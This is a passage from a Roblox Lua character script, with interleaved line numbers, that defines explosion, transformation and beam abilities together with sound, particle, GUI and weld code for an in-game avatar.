  plodeza.Volume = 0.85
1315
  plodeza.Pitch = 0.65
1316
  plodeza.Looped = false
1317
  plodeza:Play()
1318
local plodezar = Instance.new("Sound",workspace)
1319
  plodezar.SoundId = "rbxassetid://197161452"
1320
  plodezar.Volume = 0.85
1321
  plodezar.Pitch = 0.25
1322
  plodezar.Looped = false
1323
  plodezar:Play()
1324
	expld.BlastRadius = rad
1325
	expld.Position = par.Position
1326
wait(0.5)
1327
        par:Destroy()
1328
  plode.Parent = nil
1329
	expart.Parent = nil
1330
	expart2.Parent = nil
1331
	expld.Parent = nil
1332
end
1333
function ExplodeMassen(rad,par)
1334
	local expart = Instance.new("Part",script.Parent)
1335
	local expart2 = Instance.new("Part",script.Parent)
1336
	local partMesh = Instance.new("SpecialMesh",expart)
1337
	partMesh.MeshType = "Sphere"
1338
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1339
	partMesh2.MeshType = "Sphere"
1340
	local expld = Instance.new("Explosion", script.Parent)
1341
local plode = Instance.new("Sound",workspace)
1342
  plode.SoundId = "rbxassetid://579687077"
1343
  plode.Volume = 1
1344
  plode.Pitch = 0.85
1345
  plode.Looped = false
1346
  plode:Play()
1347
local plodez = Instance.new("Sound",workspace)
1348
  plodez.SoundId = "rbxassetid://288641686"
1349
  plodez.Volume = 1
1350
  plodez.Pitch = 0.75
1351
  plodez.Looped = false
1352
  plodez:Play()
1353
local plodeza = Instance.new("Sound",workspace)
1354
  plodeza.SoundId = "rbxassetid://197161452"
1355
  plodeza.Volume = 0.85
1356
  plodeza.Pitch = 0.65
1357
  plodeza.Looped = false
1358
  plodeza:Play()
1359
local plodezar = Instance.new("Sound",workspace)
1360
  plodezar.SoundId = "rbxassetid://197161452"
1361
  plodezar.Volume = 0.85
1362
  plodezar.Pitch = 0.25
1363
  plodezar.Looped = false
1364
  plodezar:Play()
1365
	expld.BlastRadius = rad
1366
	expld.Position = par.Position
1367
	partMesh.Scale = vt(rad,rad,rad)
1368
	expart.Size = vt(1,1,1)*1.5
1369
	expart.Transparency = 0
1370
	expart.Anchored = true
1371
	expart.Material = "Neon"
1372
	expart.BrickColor = bc("White")
1373
	expart.CFrame = par.CFrame
1374
	partMesh2.Scale = vt(rad,rad,rad)
1375
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1376
	expart2.Transparency = 0.5
1377
	expart2.Anchored = true
1378
	expart2.Material = "Neon"
1379
	expart2.BrickColor = tors.BrickColor
1380
	expart2.CFrame = par.CFrame
1381
        local value = 1*rad/10
1382
        par:Destroy()
1383
	for i = 0, 300 do
1384
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1385
		expart.CFrame = expart.CFrame
1386
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1387
		expart2.CFrame = expart.CFrame
1388
                value = value - 0.0175*rad/10
1389
                if value <= 0 then
1390
		expart.Transparency = expart.Transparency + 0.0125
1391
		expart2.Transparency = expart2.Transparency + 0.0125
1392
                value = 0.25
1393
                end
1394
		wait()
1395
	end
1396
  plode.Parent = nil
1397
	expart.Parent = nil
1398
	expart2.Parent = nil
1399
	expld.Parent = nil
1400
end
1401
local Ultramode = false
1402
1403
function Transform()
1404
  if basiccooldown >= 5 then
1405
  hum.WalkSpeed = 0
1406
  local sparta = Instance.new("Part",workspace)
1407
local msher = Instance.new("SpecialMesh",sparta)
1408
msher.MeshType = "Sphere"
1409
msher.Scale = vt(1,1,1)
1410
wit = BrickColor.new("Really black").Color
1411
local glowz = Instance.new("ParticleEmitter")
1412
glowz.LightEmission = 1
1413
glowz.Parent = sparta
1414
glowz.Texture = "rbxassetid://284205403"
1415
glowz.Color = ColorSequence.new(wit)
1416
glowz.Size = NumberSequence.new(15)
1417
glowz.Speed = NumberRange.new(100,250)
1418
glowz.LockedToPart = false
1419
glowz.Transparency = NumberSequence.new(0.75)
1420
glowz.RotSpeed = NumberRange.new(-2000,2000)
1421
glowz.Lifetime = NumberRange.new(1)
1422
glowz.Rate = 50000
1423
glowz.VelocitySpread = 9001
1424
  local sa2 = Instance.new("Sound",sparta)
1425
  sa2.SoundId = "rbxassetid://93724183"
1426
  sa2.Pitch = 0.5
1427
  sa2.Volume = 5
1428
  sa2.Looped = false
1429
  sa2:Play()
1430
  local saz2 = Instance.new("Sound",sparta)
1431
  saz2.SoundId = "rbxassetid://199145659"
1432
  saz2.Pitch = 0.45
1433
  saz2.Volume = 5*2
1434
  saz2.Looped = false
1435
local plode = Instance.new("Sound",sparta)
1436
  plode.SoundId = "rbxassetid://153274423"
1437
  plode.Volume = 5
1438
  plode.Pitch = 1
1439
  plode.Looped = false
1440
local ploder = Instance.new("Sound",sparta)
1441
  ploder.SoundId = "rbxassetid://130972023"
1442
  ploder.Volume = 5
1443
  ploder.Pitch = 1
1444
  ploder.Looped = false
1445
  sparta.Size = vt(1,1,1)
1446
  sparta.BrickColor = BrickColor.new("Really black")
1447
  sparta.Material = "Neon"
1448
  sparta.Transparency = 0
1449
  sparta.Anchored = true
1450
  sparta.CanCollide = false
1451
  sparta.CFrame = tors.CFrame
1452
  sparta.Rotation = vt(0,0,0)
1453
  local value2 = 2
1454
  for i = 0, 24 do
1455
  value2 = value2 - 0.065
1456
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1457
  wait()
1458
  end
1459
  for i = 0, 10 do
1460
  value2 = value2 + 0.06575
1461
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1462
  wait()
1463
  end
1464
  for i = 0, 10 do
1465
  value2 = value2 - 0.2
1466
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1467
  wait()
1468
  end
1469
  for i = 0, 10 do
1470
  value2 = value2 + 0.275
1471
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1472
  wait()
1473
  end
1474
  for i = 0, 10 do
1475
  value2 = value2 - 0.4
1476
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1477
  wait()
1478
  end
1479
  for i = 0, 10 do
1480
  value2 = value2 + 0.475
1481
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1482
  wait()
1483
  end
1484
  for i = 0, 10 do
1485
  value2 = value2 - 0.6
1486
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1487
  wait()
1488
  end
1489
  for i = 0, 10 do
1490
  value2 = value2 + 0.675
1491
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1492
  wait()
1493
  end
1494
  for i = 0, 10 do
1495
  value2 = value2 - 0.7
1496
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1497
  wait()
1498
  end
1499
  for i = 0, 10 do
1500
  value2 = value2 + 0.775
1501
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1502
  wait()
1503
  end
1504
  saz2:Play()
1505
  wait(2.75)
1506
  plode:Play() 
1507
  ploder:Play()
1508
  Ultramode = true
1509
  for i = 0, 75 do
1510
  value2 = value2 - 0.0575
1511
  glowz.Rate = 0
1512
  sparta.Transparency = sparta.Transparency + 0.025
1513
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1514
  wait()
1515
  end
1516
  hum.WalkSpeed = 16
1517
  sparta:Destroy()
1518
  end
1519
end
1520
1521
1522
function Blaze2()
1523
if ultcooldown >= 30 then
1524
local sloc = Instance.new("Part",workspace)
1525
local msh = Instance.new("SpecialMesh",sloc)
1526
msh.MeshType = "Sphere"
1527
sloc.Size = vt(1,1,1)
1528
sloc.Transparency = 1
1529
sloc.BrickColor = tors.BrickColor
1530
sloc.Position = hed.Position + vt(0,0.1,0)
1531
sloc.CanCollide = false
1532
sloc.Shape = "Ball"
1533
sloc.Anchored = true
1534
sloc.Material = "Neon"
1535
  local s = Instance.new("Sound",char)
1536
  s.SoundId = "rbxassetid://289315275"
1537
  s.Pitch = 1
1538
  s.Volume = 2.75
1539
  s.Looped = false
1540
  s:Play()
1541
  local s2 = Instance.new("Sound",char)
1542
  s2.SoundId = "rbxassetid://671759140"
1543
  s2.Pitch = 0.425
1544
  s2.Volume = 1
1545
  s2.Looped = false
1546
  s2:Play()
1547
local val = 0.65*5
1548
for i = 0 , 75 do
1549
sloc.Transparency = sloc.Transparency - 0.035
1550
msh.Scale = msh.Scale + vt(val,val,val)
1551
val = val - 0.0075*5
1552
wait()
1553
end
1554
wait(2)
1555
  local sen = Instance.new("Sound",char)
1556
  sen.SoundId = "rbxassetid://289315275"
1557
  sen.Pitch = 1
1558
  sen.Volume = 2.75
1559
  sen.Looped = false
1560
  sen:Play()
1561
  local tick = Instance.new("Sound",char)
1562
  tick.SoundId = "rbxassetid://446876721"
1563
  tick.Volume = 2.5
1564
  tick.Pitch = 0.5
1565
  tick:Play()
1566
msh.Scale = msh.Scale - vt(1,1,1)
1567
sloc.Transparency = sloc.Transparency + 0.015
1568
local spart = Instance.new("Part",workspace)
1569
local msh2 = Instance.new("SpecialMesh",spart)
1570
msh2.MeshType = "Sphere"
1571
spart.Size = vt(2,2,2)
1572
spart.Shape = "Ball"
1573
spart.BrickColor = tors.BrickColor
1574
spart.Material = "Neon"
1575
spart.Transparency = 0
1576
spart.Anchored = false
1577
msh2.Scale = msh.Scale/2
1578
spart.Rotation = hed.Rotation
1579
spart.CanCollide = false
1580
spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
1581
  local bv = Instance.new("BodyVelocity")
1582
  bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
1583
  bv.velocity = mouse.Hit.lookVector * 125
1584
  bv.Parent = spart
1585
sloc:Destroy()
1586
  wait(0.00001)
1587
  pewdiepie=spart.Touched:connect(function(hit)
1588
  ExplodeMassen(100,spart)
1589
  end)
1590
wait(5)
1591
sloc:Destroy()
1592
tick:Destroy()
1593
s:Destroy()
1594
sen:Destroy()
1595
s2:Destroy()
1596
end
1597
if ultcooldown < 1 then
1598
for i = 0, 29 do
1599
ultcooldown = ultcooldown + 1
1600
wait(1)
1601
end
1602
end
1603
end
1604
1605
function Blaze()
1606
if ultcooldown >= 30 then
1607
 local ff = Instance.new("ForceField",char)
1608
  local s = Instance.new("Sound",char)
1609
  s.SoundId = "rbxassetid://289315275"
1610
  s.Pitch = 1
1611
  s.Volume = 2.75
1612
  s.Looped = false
1613
  s:Play()
1614
  local s2 = Instance.new("Sound",char)
1615
  s2.SoundId = "rbxassetid://671759140"
1616
  s2.Pitch = 0.425
1617
  s2.Volume = 1
1618
  s2.Looped = false
1619
  s2:Play()
1620
  local spart = boll:Clone()
1621
  local spart2 = shur:Clone()
1622
  local msh = Instance.new("SpecialMesh",spart)
1623
  msh.MeshType = "Sphere"
1624
  spart.Parent = workspace
1625
  spart.Transparency = 1
1626
  spart.Anchored = true
1627
  spart.Position = tors.Position + vt(0,1,0)
1628
  spart.Size = spart.Size + vt(1,1,1)
1629
  for i = 0, 10 do
1630
  spart.BrickColor = tors.BrickColor
1631
  spart.Transparency = spart.Transparency + -0.05
1632
  spart.Position = tors.Position + vt(0,1,0)
1633
  spart.Size = spart.Size + vt(3,3,3)
1634
  wait(0)
1635
  end
1636
  for i = 0, 5 do
1637
  spart.BrickColor = tors.BrickColor
1638
  spart.Transparency = spart.Transparency + -0.05
1639
  spart.Position = tors.Position + vt(0,1,0)
1640
  spart.Size = spart.Size + vt(2.5,2.5,2.5)
1641
  wait(0)
1642
  end
1643
  for i = 0, 5 do
1644
  spart.BrickColor = tors.BrickColor
1645
  spart.Transparency = spart.Transparency + -0.05
1646
  spart.Position = tors.Position + vt(0,1,0)
1647
  spart.Size = spart.Size + vt(1,1,1)
1648
  wait(0)
1649
  end
1650
  for i = 0, 10 do
1651
  spart.BrickColor = tors.BrickColor
1652
  wait(0.1)
1653
  end
1654
  for i = 0, 20 do
1655
  spart.BrickColor = tors.BrickColor
1656
  spart.Transparency = spart.Transparency + 0.05
1657
  spart.Position = tors.Position + vt(0,1,0)
1658
  spart.Size = spart.Size + vt(-5,-5,-5)
1659
  wait(0)
1660
  end
1661
  local sp = spart:Clone()
1662
  sp.Parent = workspace
1663
  sp.Position = spart.Position
1664
  local sp2 = sp:Clone()
1665
  sp2.Parent = workspace
1666
  sp2.Transparency = 0.5
1667
  local msh2 = sp2.Mesh
1668
  msh2.Scale = vt(1250,1250,1250)
1669
wit = tors.BrickColor.Color
1670
local glowz = Instance.new("ParticleEmitter")
1671
glowz.LightEmission = 0.75
1672
glowz.Parent = sp2
1673
glowz.Texture = "rbxassetid://284205403"
1674
glowz.Color = ColorSequence.new(wit)
1675
glowz.Size = NumberSequence.new(50)
1676
glowz.Speed = NumberRange.new(425,450)
1677
glowz.LockedToPart = false
1678
glowz.Transparency = NumberSequence.new(0.75)
1679
glowz.RotSpeed = NumberRange.new(-2000,2000)
1680
glowz.Lifetime = NumberRange.new(1)
1681
glowz.Rate = 50000
1682
glowz.VelocitySpread = 9001
1683
  spart2.Parent = workspace
1684
  spart2.Mesh.Scale = vt(25, 90000, 25)
1685
  spart2.Position = tors.Position
1686
local seen = Instance.new("Sound",char)
1687
seen.SoundId = "rbxassetid://445796828"
1688
seen.Pitch = 0.75
1689
seen.Volume = 1.75
1690
seen.Looped = true
1691
seen:Play()
1692
local sen = Instance.new("Sound",char)
1693
sen.SoundId = "rbxassetid://289315275"
1694
sen.Pitch = 0.98
1695
sen.Volume = 2.65
1696
sen.Looped = false
1697
sen:Play()
1698
local tick = Instance.new("Sound",char)
1699
tick.SoundId = "rbxassetid://446876721"
1700
tick.Volume = 5
1701
tick.Pitch = 0.5
1702
tick:Play()
1703
local seena = Instance.new("Sound",char)
1704
seena.SoundId = "rbxassetid://300916057"
1705
seena.Pitch = 0.5
1706
seena.Volume = 2.5
1707
seena.Looped = false
1708
seena:Play()
1709
spart.Transparency = 0
1710
  ExplodeMass(1000,sp)
1711
  for i = 0, 450 do
1712
  spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
1713
  sp2.Position = spart.Position
1714
  spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
1715
  spart2.BrickColor = tors.BrickColor
1716
  msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
1717
  msh.Scale = msh.Scale + vt(50,50,50)
1718
  sp2.Transparency = sp2.Transparency + 0.0005
1719
  spart.Transparency = spart.Transparency + 0.0025
1720
  spart2.Transparency = spart2.Transparency + 0.0025
1721
  wait(0)
1722
  end
1723
  spart:Destroy()
1724
  seena:Destroy()
1725
  ff:Destroy()
1726
  seen:Destroy()
1727
  sen:Destroy()
1728
  tick:Destroy()
1729
  spart2:Destroy()
1730
  s:Destroy()
1731
  sp:Destroy()
1732
  sp2:Destroy()
1733
  s2:Destroy()
1734
end
1735
if ultcooldown < 1 then
1736
for i = 0, 29 do
1737
ultcooldown = ultcooldown + 1
1738
wait(1)
1739
end
1740
end
1741
end
1742
1743
-- sin
1744
Player=game:GetService("Players").LocalPlayer
1745
Character=Player.Character 
1746
PlayerGui=Player.PlayerGui 
1747
Backpack=Player.Backpack 
1748
Torso=Character.Torso 
1749
Head=Character.Head 
1750
Humanoid=Character.Humanoid
1751
m=Instance.new('Model',Character)
1752
LeftArm=Character["Left Arm"] 
1753
LeftLeg=Character["Left Leg"] 
1754
RightArm=Character["Right Arm"] 
1755
RightLeg=Character["Right Leg"] 
1756
LS=Torso["Left Shoulder"] 
1757
LH=Torso["Left Hip"] 
1758
RS=Torso["Right Shoulder"] 
1759
RH=Torso["Right Hip"] 
1760
Face = Head.face
1761
Neck=Torso.Neck
1762
it=Instance.new
1763
attacktype=1
1764
vt=Vector3.new
1765
cf=CFrame.new
1766
euler=CFrame.fromEulerAnglesXYZ
1767
angles=CFrame.Angles
1768
cloaked=false
1769
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1770
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1771
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
1772
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
1773
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
1774
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
1775
RootPart=Character.HumanoidRootPart
1776
RootJoint=RootPart.RootJoint
1777
RootCF=euler(-1.57,0,3.14)
1778
attack = false 
1779
attackdebounce = false 
1780
deb=false
1781
equipped=true
1782
hand=false
1783
MMouse=nil
1784
combo=0
1785
mana=0
1786
trispeed=1
1787
pathtrans=.7
1788
attackmode='none'
1789
local idle=0
1790
local Anim="Idle"
1791
local Effects={}
1792
local gun=false
1793
local shoot=false
1794
player=nil 
1795
cloak=false
1796
lightcolor='Bright blue'
1797
1798
local Color1=BrickColor.new("Royal purple")
1799
 
1800
local fengui=it("GuiMain") 
1801
fengui.Parent=Player.PlayerGui 
1802
fengui.Name="WeaponGUI" 
1803
local fenframe=it("Frame") 
1804
fenframe.Parent=fengui
1805
fenframe.BackgroundColor3=Color3.new(255,255,255) 
1806
fenframe.BackgroundTransparency=1 
1807
fenframe.BorderColor3=Color3.new(17,17,17) 
1808
fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
1809
fenframe.Position=UDim2.new(0.4,0,0.1,0)
1810
local fenbarmana1=it("TextLabel") 
1811
fenbarmana1.Parent=fenframe 
1812
fenbarmana1.Text=" " 
1813
fenbarmana1.BackgroundTransparency=0 
1814
fenbarmana1.BackgroundColor3=Color3.new(0,0,0) 
1815
fenbarmana1.SizeConstraint="RelativeXY" 
1816
fenbarmana1.TextXAlignment="Center" 
1817
fenbarmana1.TextYAlignment="Center" 
1818
fenbarmana1.Position=UDim2.new(0,0,0,0)
1819
fenbarmana1.Size=UDim2.new(4,0,0.2,0)
1820
local fenbarmana2=it("TextLabel") 
1821
fenbarmana2.Parent=fenframe 
1822
fenbarmana2.Text=" " 
1823
fenbarmana2.BackgroundTransparency=0 
1824
fenbarmana2.BackgroundColor3=Torso.Color
1825
fenbarmana2.SizeConstraint="RelativeXY" 
1826
fenbarmana2.TextXAlignment="Center" 
1827
fenbarmana2.TextYAlignment="Center" 
1828
fenbarmana2.Position=UDim2.new(0,0,0,0)
1829
fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
1830
local fenbarmana3=it("TextLabel") 
1831
fenbarmana3.Parent=fenframe 
1832
fenbarmana3.Text=" " 
1833
fenbarmana3.BackgroundTransparency=0 
1834
fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
1835
fenbarmana3.SizeConstraint="RelativeXY" 
1836
fenbarmana3.TextXAlignment="Center" 
1837
fenbarmana3.TextYAlignment="Center" 
1838
fenbarmana3.Position=UDim2.new(0,0,0,0)
1839
fenbarmana3.Size=UDim2.new(0,0,0.2,0)
1840
local fenbarmana4=it("TextLabel") 
1841
fenbarmana4.Parent=fenframe 
1842
fenbarmana4.Text="Energy("..mana..")"
1843
fenbarmana4.BackgroundTransparency=1 
1844
fenbarmana4.BackgroundColor3=Color3.new(0,0,0) 
1845
fenbarmana4.SizeConstraint="RelativeXY" 
1846
fenbarmana4.TextXAlignment="Center" 
1847
fenbarmana4.TextYAlignment="Center" 
1848
fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
1849
fenbarmana4.Size=UDim2.new(4,0,0.2,0)
1850
fenbarmana4.FontSize="Size9"
1851
fenbarmana4.TextStrokeTransparency=0
1852
fenbarmana4.TextColor=BrickColor.new("White")
1853
1854
mouse=Player:GetMouse()
1855
--save shoulders 
1856
RSH, LSH=nil, nil 
1857
--welds 
1858
RW, LW=Instance.new("Weld"), Instance.new("Weld") 
1859
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
1860
LH=Torso["Left Hip"]
1861
RH=Torso["Right Hip"]
1862
TorsoColor=BrickColor.new("Royal purple")
1863
function NoOutline(Part)
1864
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
1865
end
1866
player=Player 
1867
ch=Character
1868
RSH=ch.Torso["Right Shoulder"] 
1869
LSH=ch.Torso["Left Shoulder"] 
1870
-- 
1871
RSH.Parent=nil 
1872
LSH.Parent=nil 
1873
-- 
1874
RW.Name="Right Shoulder"
1875
RW.Part0=ch.Torso 
1876
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
1877
RW.C1=cf(0, 0.5, 0) 
1878
RW.Part1=ch["Right Arm"] 
1879
RW.Parent=ch.Torso 
1880
-- 
1881
LW.Name="Left Shoulder"
1882
LW.Part0=ch.Torso 
1883
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
1884
LW.C1=cf(0, 0.5, 0) 
1885
LW.Part1=ch["Left Arm"] 
1886
LW.Parent=ch.Torso 
1887
1888
1889
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
1890
local fp=it("Part")
1891
fp.formFactor=formfactor 
1892
fp.Parent=parent
1893
fp.Reflectance=reflectance
1894
fp.Transparency=transparency
1895
fp.CanCollide=false 
1896
fp.Locked=true
1897
fp.BrickColor=brickcolor
1898
fp.Name=name
1899
fp.Size=size
1900
fp.Position=Torso.Position 
1901
NoOutline(fp)
1902
fp.Material="Neon"
1903
fp:BreakJoints()
1904
return fp 
1905
end 
1906
 
1907
function mesh(Mesh,part,meshtype,meshid,offset,scale)
1908
local mesh=it(Mesh) 
1909
mesh.Parent=part
1910
if Mesh=="SpecialMesh" then
1911
mesh.MeshType=meshtype
1912
if meshid~="nil" then
1913
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
1914
end
1915
end
1916
mesh.Offset=offset
1917
mesh.Scale=scale
1918
return mesh
1919
end
1920
 
1921
function weld(parent,part0,part1,c0)
1922
local weld=it("Weld") 
1923
weld.Parent=parent
1924
weld.Part0=part0 
1925
weld.Part1=part1 
1926
weld.C0=c0
1927
return weld
1928
end
1929
 
1930
local Color1=BrickColor.new("Royal purple")
1931
1932
local bodvel=Instance.new("BodyVelocity")
1933
local bg=Instance.new("BodyGyro")
1934
1935
function swait(num)
1936
if num==0 or num==nil then
1937
game:service'RunService'.Stepped:wait(0)
1938
else
1939
for i=0,num do
1940
game:service'RunService'.Stepped:wait(0)
1941
end
1942
end
1943
end
1944
 
1945
 
1946
so = function(id,par,vol,pit) 
1947
coroutine.resume(coroutine.create(function()
1948
local sou = Instance.new("Sound",par or workspace)
1949
sou.Volume=vol
1950
sou.Pitch=pit or 1
1951
sou.SoundId=id
1952
swait() 
1953
sou:play() 
1954
game:GetService("Debris"):AddItem(sou,6)
1955
end))
1956
end
1957
 
1958
function clerp(a,b,t) 
1959
local qa = {QuaternionFromCFrame(a)}
1960
local qb = {QuaternionFromCFrame(b)} 
1961
local ax, ay, az = a.x, a.y, a.z 
1962
local bx, by, bz = b.x, b.y, b.z
1963
local _t = 1-t
1964
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
1965
end 
1966
 
1967
function QuaternionFromCFrame(cf) 
1968
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
1969
local trace = m00 + m11 + m22 
1970
if trace > 0 then 
1971
local s = math.sqrt(1 + trace) 
1972
local recip = 0.5/s 
1973
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
1974
else 
1975
local i = 0 
1976
if m11 > m00 then
1977
i = 1
1978
end
1979
if m22 > (i == 0 and m00 or m11) then 
1980
i = 2 
1981
end 
1982
if i == 0 then 
1983
local s = math.sqrt(m00-m11-m22+1) 
1984
local recip = 0.5/s 
1985
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
1986
elseif i == 1 then 
1987
local s = math.sqrt(m11-m22-m00+1) 
1988
local recip = 0.5/s 
1989
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
1990
elseif i == 2 then 
1991
local s = math.sqrt(m22-m00-m11+1) 
1992
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
1993
end 
1994
end 
1995
end
1996
 
1997
function QuaternionToCFrame(px, py, pz, x, y, z, w) 
1998
local xs, ys, zs = x + x, y + y, z + z 
1999
local wx, wy, wz = w*xs, w*ys, w*zs 
2000
local xx = x*xs 
2001
local xy = x*ys 
2002
local xz = x*zs 
2003
local yy = y*ys 
2004
local yz = y*zs 
2005
local zz = z*zs 
2006
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
2007
end
2008
 
2009
function QuaternionSlerp(a, b, t) 
2010
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
2011
local startInterp, finishInterp; 
2012
if cosTheta >= 0.0001 then 
2013
if (1 - cosTheta) > 0.0001 then 
2014
local theta = math.acos(cosTheta) 
2015
local invSinTheta = 1/math.sin(theta) 
2016
startInterp = math.sin((1-t)*theta)*invSinTheta 
2017
finishInterp = math.sin(t*theta)*invSinTheta  
2018
else 
2019
startInterp = 1-t 
2020
finishInterp = t 
2021
end 
2022
else 
2023
if (1+cosTheta) > 0.0001 then 
2024
local theta = math.acos(-cosTheta) 
2025
local invSinTheta = 1/math.sin(theta) 
2026
startInterp = math.sin((t-1)*theta)*invSinTheta 
2027
finishInterp = math.sin(t*theta)*invSinTheta 
2028
else 
2029
startInterp = t-1 
2030
finishInterp = t 
2031
end 
2032
end 
2033
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
2034
end
2035
2036
function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
2037
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
2038
end 
2039
2040
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
2041
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2042
prt.Anchored=true
2043
prt.CFrame=cframe
2044
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
2045
--http://www.roblox.com/asset/?id=4770560
2046
game:GetService("Debris"):AddItem(prt,2)
2047
CF=prt.CFrame
2048
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) 
2049
for i=0,1,0.2 do
2050
wait()
2051
Part.CFrame=CF*cf(0,0,-0.4)
2052
end
2053
for i=0,1,delay do
2054
wait()
2055
--Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
2056
Mesh.Scale=Mesh.Scale
2057
end
2058
for i=0,1,0.1 do
2059
wait()
2060
Part.Transparency=i
2061
end
2062
Part.Parent=nil
2063
end),prt,msh,CF)
2064
end
2065
 
2066
function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2067
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2068
prt.Anchored=true
2069
prt.CFrame=cframe
2070
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2071
game:GetService("Debris"):AddItem(prt,5)
2072
coroutine.resume(coroutine.create(function(Part,Mesh) 
2073
for i=0,1,delay do
2074
wait()
2075
Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2076
Part.Transparency=i
2077
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2078
end
2079
Part.Parent=nil
2080
end),prt,msh)
2081
end
2082
 
2083
function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2084
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2085
prt.Anchored=false
2086
prt.CFrame=cframe
2087
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2088
local wld=weld(prt,prt,Parent,cframe)
2089
game:GetService("Debris"):AddItem(prt,5)
2090
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2091
for i=0,1,delay do
2092
wait()
2093
Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
2094
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2095
Part.Transparency=i
2096
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2097
end
2098
Part.Parent=nil
2099
end),prt,msh,wld)
2100
end
2101
 
2102
function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
2103
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2104
prt.Anchored=false
2105
prt.CFrame=cframe
2106
msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2107
local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
2108
game:GetService("Debris"):AddItem(prt,5)
2109
coroutine.resume(coroutine.create(function(Part,Mesh,Weld) 
2110
for i=0,1,delay do
2111
wait()
2112
Weld.C0=euler(i*20,0,0)
2113
--Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2114
Part.Transparency=i
2115
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2116
end
2117
Part.Parent=nil
2118
end),prt,msh,wld)
2119
end
2120
 
2121
function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2122
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
